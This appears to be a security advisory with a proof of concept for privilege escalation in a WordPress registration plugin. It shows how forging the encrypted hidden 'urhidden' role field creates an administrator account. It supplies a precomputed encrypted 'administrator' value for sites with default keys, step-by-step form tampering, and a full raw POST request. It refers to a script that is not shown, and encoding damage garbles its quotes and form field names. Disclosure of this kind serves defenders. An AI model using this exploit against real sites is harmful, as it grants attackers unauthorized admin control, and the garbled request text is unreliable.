The plugin uses a user supplied argument called urhidden in its registration form, which contains the role for the account to be created with, encrypted via wpuf_encryption(). This could allow an attacker having access to the AUTH_KEY and AUTH_SALT constant (via an arbitrary file access issue for example, or if the blog is using the default keys) to create an account with any role they want, such as admin
Generate the encrypted string for โadministratorโ via the script below. If the default salts/keys are used in the wp-config.php file then the encrypted string for an administrator account is: โbXFaYVc1WjJlNzlXTXRsbkxSZFptdz09โ 1. Visit the registration page of the plugin 2. Edit the form HTML and change the input โurhiddenโ to the generated encrypted value 3. Submit the registration, you will now have an administrator level account. POST /wpuf-registration/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8 Accept-Language: en-GB,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 234 Connection: close Upgrade-Insecure-Requests: 1 reg_fname=Attackerยฎ_lname=Adminยฎ_email=attacker%40localhost.org&log;=attacker&pwd1;=Passw0rd&pwd2;=Passw0rd&wp-submit;=Register&urhidden;=XXXXXXXXXXXXXXXXXXXX&wpuf;_registration=true&action;=registration&_wpnonce=b6c5a58299